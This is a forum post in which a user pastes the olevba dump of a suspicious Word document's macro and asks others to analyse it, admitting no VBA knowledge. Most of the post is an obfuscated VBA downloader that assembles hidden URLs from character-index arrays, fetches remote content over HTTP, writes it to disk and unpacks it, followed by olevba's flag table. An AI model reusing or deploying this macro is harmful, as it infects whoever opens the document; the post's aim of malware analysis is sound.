- Gt(127) = 208
- Gt(128) = 180
- Gt(129) = 266
- Gt(130) = 254
- Gt(131) = 127
- Gt(132) = 254
- Gt(133) = 91
- Gt(134) = 250
- Gt(135) = 225
- Gt(136) = 300
- Gt(137) = 27
- Gt(138) = 115
- otuI = pr(FBB, Gt, AwHbW)
- Dim yOe As String
- Dim Zkeul As String
- Dim KMXKGruJ(93) As Long
- Dim ZpBiMUZR As Long
- ZpBiMUZR = 35
- Zkeul = "PuWYUNf2rvnOQbXVySEmgUJokoAFVFiAcmSLkDT/VhPGoqaGkYfjWdKAcEgFXiJdRIRbXDtxhJYrObzK:tZcEUAfzpkpyKpCjFinRVmJmRsAnVIIMzxbfr9gFDTGlTPryBriHSJItTSOaIUVjJfpc/TB/BHQXwvhtTekIvU4PMu4LO/UfLSviN.rkAbMfhHQqrMcuh7lWTrKUdeGLlwINBisSAeJRMnnAECZjIfpeAbWwQLBOPBvCscJsGkmBlOmiiRmj/CTCcKnYUMriBVeNFKFALwk"
- KMXKGruJ(0) = 42
- KMXKGruJ(1) = 71
- KMXKGruJ(2) = 71
- KMXKGruJ(3) = 90
- KMXKGruJ(4) = 107
- KMXKGruJ(5) = 81
- KMXKGruJ(6) = 40
- KMXKGruJ(7) = 40
- KMXKGruJ(8) = 90
- KMXKGruJ(9) = 47
- KMXKGruJ(10) = 9
- KMXKGruJ(11) = 11
- KMXKGruJ(12) = 47
- KMXKGruJ(13) = 107
- KMXKGruJ(14) = 183
- KMXKGruJ(15) = 9
- KMXKGruJ(16) = 163
- KMXKGruJ(17) = 11
- KMXKGruJ(18) = 71
- KMXKGruJ(19) = 40
- KMXKGruJ(20) = 163
- KMXKGruJ(21) = 14
- KMXKGruJ(22) = 33
- KMXKGruJ(23) = 33
- KMXKGruJ(24) = 119
- KMXKGruJ(25) = 199
- KMXKGruJ(26) = 168
- KMXKGruJ(27) = 163
- KMXKGruJ(28) = 8
- KMXKGruJ(29) = 168
- KMXKGruJ(30) = 40
- KMXKGruJ(31) = 27
- KMXKGruJ(32) = 44
- KMXKGruJ(33) = 6
- KMXKGruJ(34) = 40
- KMXKGruJ(35) = 204
- KMXKGruJ(36) = 139
- KMXKGruJ(37) = 223
- KMXKGruJ(38) = 257
- KMXKGruJ(39) = 26
- KMXKGruJ(40) = 281
- KMXKGruJ(41) = 32
- KMXKGruJ(42) = 178
- KMXKGruJ(43) = 216
- KMXKGruJ(44) = 156
- KMXKGruJ(45) = 140
- KMXKGruJ(46) = 140
- KMXKGruJ(47) = 96
- KMXKGruJ(48) = 269
- KMXKGruJ(49) = 74
- KMXKGruJ(50) = 4
- KMXKGruJ(51) = 10
- KMXKGruJ(52) = 218
- KMXKGruJ(53) = 59
- KMXKGruJ(54) = 62
- KMXKGruJ(55) = 213
- KMXKGruJ(56) = 120
- KMXKGruJ(57) = 67
- KMXKGruJ(58) = 16
- KMXKGruJ(59) = 206
- KMXKGruJ(60) = 55
- KMXKGruJ(61) = 92
- KMXKGruJ(62) = 249
- KMXKGruJ(63) = 183
- KMXKGruJ(64) = 248
- KMXKGruJ(65) = 242
- KMXKGruJ(66) = 153
- KMXKGruJ(67) = 98
- KMXKGruJ(68) = 167
- KMXKGruJ(69) = 257
- KMXKGruJ(70) = 167
- KMXKGruJ(71) = 20
- KMXKGruJ(72) = 201
- KMXKGruJ(73) = 33
- KMXKGruJ(74) = 92
- KMXKGruJ(75) = 27
- KMXKGruJ(76) = 113
- KMXKGruJ(77) = 14
- KMXKGruJ(78) = 52
- KMXKGruJ(79) = 179
- KMXKGruJ(80) = 177
- KMXKGruJ(81) = 175
- KMXKGruJ(82) = 74
- KMXKGruJ(83) = 217
- KMXKGruJ(84) = 41
- KMXKGruJ(85) = 243
- KMXKGruJ(86) = 76
- KMXKGruJ(87) = 57
- KMXKGruJ(88) = 28
- KMXKGruJ(89) = 87
- KMXKGruJ(90) = 172
- KMXKGruJ(91) = 261
- KMXKGruJ(92) = 43
- yOe = pr(Zkeul, KMXKGruJ, ZpBiMUZR)
- Dim dIU As String
- Dim gPRlt As String
- Dim SucrD(80) As Long
- Dim OCCkoy As Long
- OCCkoy = 34
- gPRlt = "YZDIpXHNMKmEHRRyEABNXyNTodyrJaDkqzdkaaxTX.rNLoQjBpsAdpzEoQdmHehIIGRjKLsMEkfyxQQyaCxmEPntIUF/bbLSBzghxAPBuRLGVuLrLwzZ/Xjgs-rljrDSmevCqihTnmcjdQettoKYDlFJiQnYF/TaDiSwNtfCvuVsPdrOC/omSlCyQbvFyLiON:X/yISGir"
- SucrD(0) = 63
- SucrD(1) = 88
- SucrD(2) = 88
- SucrD(3) = 5
- SucrD(4) = 51
- SucrD(5) = 194
- SucrD(6) = 92
- SucrD(7) = 92
- SucrD(8) = 11
- SucrD(9) = 25
- SucrD(10) = 26
- SucrD(11) = 62
- SucrD(12) = 28
- SucrD(13) = 87
- SucrD(14) = 122
- SucrD(15) = 139
- SucrD(16) = 134
- SucrD(17) = 88
- SucrD(18) = 16
- SucrD(19) = 42
- SucrD(20) = 93
- SucrD(21) = 16
- SucrD(22) = 92
- SucrD(23) = 93
- SucrD(24) = 134
- SucrD(25) = 88
- SucrD(26) = 28
- SucrD(27) = 134
- SucrD(28) = 39
- SucrD(29) = 92
- SucrD(30) = 19
- SucrD(31) = 25
- SucrD(32) = 131
- SucrD(33) = 92
- SucrD(34) = 53
- SucrD(35) = 149
- SucrD(36) = 125
- SucrD(37) = 14
- SucrD(38) = 195
- SucrD(39) = 11
- SucrD(40) = 165
- SucrD(41) = 50
- SucrD(42) = 134
- SucrD(43) = 20
- SucrD(44) = 0
- SucrD(45) = 100
- SucrD(46) = 3
- SucrD(47) = 163
- SucrD(48) = 98
- SucrD(49) = 65
- SucrD(50) = 38
- SucrD(51) = 90
- SucrD(52) = 131
- SucrD(53) = 140
- SucrD(54) = 17
- SucrD(55) = 194
- SucrD(56) = 72
- SucrD(57) = 70
- SucrD(58) = 104
- SucrD(59) = 73
- SucrD(60) = 164
- SucrD(61) = 64
- SucrD(62) = 0
- SucrD(63) = 132
- SucrD(64) = 27
- SucrD(65) = 69
- SucrD(66) = 134
- SucrD(67) = 152
- SucrD(68) = 86
- SucrD(69) = 63
- SucrD(70) = 42
- SucrD(71) = 47
- SucrD(72) = 84
- SucrD(73) = 127
- SucrD(74) = 199
- SucrD(75) = 119
- SucrD(76) = 12
- SucrD(77) = 56
- SucrD(78) = 41
- SucrD(79) = 110
- dIU = pr(gPRlt, SucrD, OCCkoy)
- Dim xZkQItJ As String
- Dim CVF As String
- Dim VcKB(6) As Long
- Dim GtHpK As Long
- GtHpK = 4
- CVF = "GjiULRcE.LhrcmhptazJsAMuv"
- VcKB(0) = 9
- VcKB(1) = 17
- VcKB(2) = 14
- VcKB(3) = 16
- VcKB(4) = 22
- VcKB(5) = 2
- xZkQItJ = pr(CVF, VcKB, GtHpK)
- CbZSwqt = qjo()
- CbZSwqt = CbZSwqt & xZkQItJ
- Dim Fj As Boolean
- If Not Fj Then
- Fj = D(VRSXo, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(jKE, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(yYUzJZ, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(DXWzKLjH, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(PJFGr, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(otuI, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(yOe, CbZSwqt)
- End If
- If Not Fj Then
- Fj = D(dIU, CbZSwqt)
- End If
- If Fj Then
- QCSHsGFQ CbZSwqt
- End If
- End Sub
- Sub hBGuN(BhSUcUN As Object)
- Dim Kvuu As String
- Dim ufZfxPwO As String
- Dim QI(7) As Long
- Dim E As Long
- E = 4
- ufZfxPwO = "enepXkcDOdGv"
- QI(0) = 9
- QI(1) = 4
- QI(2) = 1
- QI(3) = 2
- QI(4) = 8
- QI(5) = 11
- QI(6) = 5
- Kvuu = pr(ufZfxPwO, QI, E)
- CallByName BhSUcUN, Kvuu, 1
- End Sub
- Sub jzIOj(lrea As Object, SiI As String)
- Dim ToQjsE As String
- Dim QsZl As String
- Dim MJCFthAJ(19) As Long
- Dim qqNCh As Long
- qqNCh = 10
- QsZl = "sDrBlBLeeicoCzFSlkuuJtQwewuheYqgmXnPerGclEqe"
- MJCFthAJ(0) = 2
- MJCFthAJ(1) = 8
- MJCFthAJ(2) = 5
- MJCFthAJ(3) = 8
- MJCFthAJ(4) = 22
- MJCFthAJ(5) = 8
- MJCFthAJ(6) = 15
- MJCFthAJ(7) = 10
- MJCFthAJ(8) = 5
- MJCFthAJ(9) = 8
- MJCFthAJ(10) = 44
- MJCFthAJ(11) = 6
- MJCFthAJ(12) = 26
- MJCFthAJ(13) = 8
- MJCFthAJ(14) = 7
- MJCFthAJ(15) = 22
- MJCFthAJ(16) = 13
- MJCFthAJ(17) = 16
- MJCFthAJ(18) = 7
- ToQjsE = pr(QsZl, MJCFthAJ, qqNCh)
- CallByName lrea, ToQjsE, 1, SiI
- End Sub
- Function D(zkRFxWh As String, SiI As String) As Boolean
- Dim tbyVw As Object
- Dim MUPRWLe As Object
- Dim JLo As Object
- Dim B As Object
- Dim JGKirK As String
- Dim WIk As String
- Dim lpQnB() As Byte
- Dim XE As Integer
- Dim PDeb As String
- Dim QLlbT As String
- D = False
- Dim jZtJn As String
- Dim wp As String
- Dim sVZbNgFN(3) As Long
- Dim pkjafpJ As Long
- pkjafpJ = 1
- wp = "VG?hD"
- sVZbNgFN(0) = 3
- sVZbNgFN(1) = 2
- sVZbNgFN(2) = 5
- jZtJn = pr(wp, sVZbNgFN, pkjafpJ)
- JGKirK = u()
- WIk = zkRFxWh & jZtJn & JGKirK
- On Error GoTo Kv
- Set tbyVw = qUiTDZ()
- LBKrarO tbyVw, WIk
- tN tbyVw
- If ghLpxhF(tbyVw) Then
- lpQnB = gIbhZ(tbyVw)
- XE = aNZKxNaj(lpQnB)
- If XE = 1 Then
- CAOdfE lpQnB, SiI
- D = True
- End If
- If XE = 2 Then
- Set JLo = Z()
- PDeb = qjo()
- oqfhkd JLo, PDeb
- Dim PeUeaIpu As String
- Dim HctuI As String
- Dim JLE(12) As Long
- Dim aazg As Long
- aazg = 4
- HctuI = "PkIRTDZoThziSCzy.zPkLjnOKzVlZAGpnr"
- JLE(0) = 17
- JLE(1) = 11
- JLE(2) = 12
- JLE(3) = 32
- JLE(4) = 21
- JLE(5) = 28
- JLE(6) = 33
- JLE(7) = 22
- JLE(8) = 32
- JLE(9) = 30
- JLE(10) = 24
- JLE(11) = 16
- PeUeaIpu = pr(HctuI, JLE, aazg)
- QLlbT = PDeb & PeUeaIpu
- CAOdfE lpQnB, QLlbT
- Set B = VTcbvVF()
- Set ZnAxw = LaILj(B, PDeb)
- Set Pe = LaILj(B, QLlbT)
- Dim THQ As String
- Dim ULhTS As String
- Dim VLj(23) As Long
- Dim ANlvtYoi As Long
- ANlvtYoi = 8
- ULhTS = "opryYzjyUzJSNedYKOxHjhRitDXGoIlegJGemttoHTqlDaZnKCurePnfHeMu"
- VLj(0) = 50
- VLj(1) = 1
- VLj(2) = 2
- VLj(3) = 4
- VLj(4) = 20
- VLj(5) = 14
- VLj(6) = 3
- VLj(7) = 14
- VLj(8) = 45
- VLj(9) = 44
- VLj(10) = 37
- VLj(11) = 26
- VLj(12) = 35
- VLj(13) = 50
- VLj(14) = 40
- VLj(15) = 29
- VLj(16) = 4
- VLj(17) = 55
- VLj(18) = 46
- VLj(19) = 53
- VLj(20) = 40
- VLj(21) = 7
- VLj(22) = 49
- THQ = pr(ULhTS, VLj, ANlvtYoi)
- CallByName ZnAxw, THQ, 1, Pe.Items
- Dim YWLlwh As String
- Dim ooGaSZWf As String
- Dim Koq(11) As Long
- Dim FePz As Long
- FePz = 8
- ooGaSZWf = "rqTYmQIciiLpoBkRuQTrlOvMUcfgoMzpxROhekBTFLheHTNzXexR"
- Koq(0) = 24
- Koq(1) = 13
- Koq(2) = 23
- Koq(3) = 37
- Koq(4) = 41
- Koq(5) = 9
- Koq(6) = 21
- Koq(7) = 37
- Koq(8) = 44
- Koq(9) = 20
- Koq(10) = 46
- YWLlwh = pr(ooGaSZWf, Koq, FePz)
- For Each QKZaWZ In ZnAxw.Items
- CallByName JLo, YWLlwh, 1, QKZaWZ.Path, SiI
- Next
- CjT JLo, PDeb
- jzIOj JLo, QLlbT
- D = True
- End If
- End If
- Exit Function
- Kv:
- D = False
- End Function
- Sub oqfhkd(lrea As Object, SiI As String)
- Dim KkIxbK As String
- Dim MWNl As String
- Dim acq(28) As Long
- Dim ffeBgVUS As Long
- ffeBgVUS = 12
- MWNl = "eVgmNmSbfqrhleVCjCvWItWraNpeoycCOdcdAgcKLzeZQtzXzBCeTaFzrlOyF"
- acq(0) = 16
- acq(1) = 11
- acq(2) = 1
- acq(3) = 25
- acq(4) = 22
- acq(5) = 1
- acq(6) = 55
- acq(7) = 29
- acq(8) = 13
- acq(9) = 34
- acq(10) = 1
- acq(11) = 11
- acq(12) = 7
- acq(13) = 22
- acq(14) = 59
- acq(15) = 59
- acq(16) = 34
- acq(17) = 4
- acq(18) = 44
- acq(19) = 46
- acq(20) = 8
- acq(21) = 12
- acq(22) = 5
- acq(23) = 14
- acq(24) = 61
- acq(25) = 13
- acq(26) = 19
- acq(27) = 22
- KkIxbK = pr(MWNl, acq, ffeBgVUS)
- CallByName lrea, KkIxbK, 1, SiI
- End Sub
- Function pr(juNePiRf As String, JVH() As Long, Bl As Long) As String
- Dim tLVrBirm As String
- Dim MMlhQseh As Variant
- Bl = Bl - 1
- For RRvrpn = 0 To Bl
- MMlhQseh = Mid(juNePiRf, JVH(RRvrpn), 1)
- tLVrBirm = tLVrBirm & MMlhQseh
- Next RRvrpn
- pr = tLVrBirm
- End Function
- Sub CAOdfE(CXWA() As Byte, SiI As String)
- Dim MUPRWLe As Object
- Set MUPRWLe = zHKj()
- hBGuN MUPRWLe
- AFnjkvGv MUPRWLe
- TdkwXDaK MUPRWLe, CXWA
- pJyZ MUPRWLe, SiI
- oblIkmg MUPRWLe
- End Sub
- Function qUiTDZ() As Object
- Dim QMNba As String
- Dim BACtJz As String
- Dim rmEHO(29) As Long
- Dim Ro As Long
- Ro = 17
- BACtJz = "cRovpWplYzNXatPdscMVhLsHxRYYKUVoHAYVW.KoawAKwrMNKLyPjxYuXbxoiedcNrWHicduDFJNZvPFCQLEgvTuMtVQHVOsXTLSjvuEKvrGtjJTPxfHkzMwtiXqugmgpQOi"
- rmEHO(0) = 19
- rmEHO(1) = 61
- rmEHO(2) = 1
- rmEHO(3) = 46
- rmEHO(4) = 3
- rmEHO(5) = 17
- rmEHO(6) = 3
- rmEHO(7) = 115
- rmEHO(8) = 14
- rmEHO(9) = 38
- rmEHO(10) = 12
- rmEHO(11) = 19
- rmEHO(12) = 22
- rmEHO(13) = 24
- rmEHO(14) = 87
- rmEHO(15) = 87
- rmEHO(16) = 15
- rmEHO(17) = 126
- rmEHO(18) = 69
- rmEHO(19) = 51
- rmEHO(20) = 21
- rmEHO(21) = 20
- rmEHO(22) = 22
- rmEHO(23) = 33
- rmEHO(24) = 58
- rmEHO(25) = 85
- rmEHO(26) = 31
- rmEHO(27) = 75
- rmEHO(28) = 57
- QMNba = pr(BACtJz, rmEHO, Ro)
- Set qUiTDZ = LPNiApw(QMNba)
- End Function
- Function VTcbvVF() As Object
- Dim GsaeRgMb As String
- Dim vDx As String
- Dim LbXFksV(42) As Long
- Dim xCZxcX As Long
- xCZxcX = 17
- vDx = "mtOynJu.TjjaLXIoLpeFiyoyhpTlierrlxcOlKUYMEtfXtgifBIWTDpFYSlmZuIsoTujeVivnsghnNOllTZeZeHAFLmhuyuvhBFpqZfFjUlEFc"
- LbXFksV(0) = 58
- LbXFksV(1) = 25
- LbXFksV(2) = 19
- LbXFksV(3) = 28
- LbXFksV(4) = 28
- LbXFksV(5) = 8
- LbXFksV(6) = 88
- LbXFksV(7) = 18
- LbXFksV(8) = 18
- LbXFksV(9) = 28
- LbXFksV(10) = 21
- LbXFksV(11) = 35
- LbXFksV(12) = 12
- LbXFksV(13) = 2
- LbXFksV(14) = 21
- LbXFksV(15) = 16
- LbXFksV(16) = 5
- LbXFksV(17) = 57
- LbXFksV(18) = 98
- LbXFksV(19) = 16
- LbXFksV(20) = 61
- LbXFksV(21) = 7
- LbXFksV(22) = 102
- LbXFksV(23) = 51
- LbXFksV(24) = 10
- LbXFksV(25) = 76
- LbXFksV(26) = 78
- LbXFksV(27) = 63
- LbXFksV(28) = 87
- LbXFksV(29) = 0
- LbXFksV(30) = 104
- LbXFksV(31) = 39
- LbXFksV(32) = 68
- LbXFksV(33) = 23
- LbXFksV(34) = 96
- LbXFksV(35) = 102
- LbXFksV(36) = 84
- LbXFksV(37) = 66
- LbXFksV(38) = 63
- LbXFksV(39) = 83
- LbXFksV(40) = 5
- LbXFksV(41) = 100
- GsaeRgMb = pr(vDx, LbXFksV, xCZxcX)
- Set VTcbvVF = LPNiApw(GsaeRgMb)
- End Function
- Function ghLpxhF(HZRXwXl As Object) As Boolean
- Dim Tq As Long
- Dim OJGB As String
- Dim etBzEP As String
- Dim QpxUHU(7) As Long
- Dim qfTuNGO As Long
- qfTuNGO = 6
- etBzEP = "aHpYMfsfDeyijHOJrjZhiHIftKFtHQuMoJsuQDDonEsNIViixVLQSW"
- QpxUHU(0) = 53
- QpxUHU(1) = 25
- QpxUHU(2) = 1
- QpxUHU(3) = 25
- QpxUHU(4) = 31
- QpxUHU(5) = 7
- QpxUHU(6) = 37
- OJGB = pr(etBzEP, QpxUHU, qfTuNGO)
- Tq = CallByName(HZRXwXl, OJGB, 2)
- If Tq = 200 Then
- ghLpxhF = True
- End If
- End Function
- +----------+--------------------+---------------------------------------------+
- |Type |Keyword |Description |
- +----------+--------------------+---------------------------------------------+
- |AutoExec |AutoOpen |Runs when the Word document is opened |
- |Suspicious|CreateObject |May create an OLE object |
- |Suspicious|CallByName |May attempt to obfuscate malicious function |
- | | |calls |
- |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
- | | |used to obfuscate strings (option --decode to|
- | | |see all) |
- +----------+--------------------+---------------------------------------------+
复制代码
看样子是通过数组和base64来释放文件,本人没学过vba,谁分析一下?(话说上次那个样本olevba竟然分析不出来宏?真奇怪)
|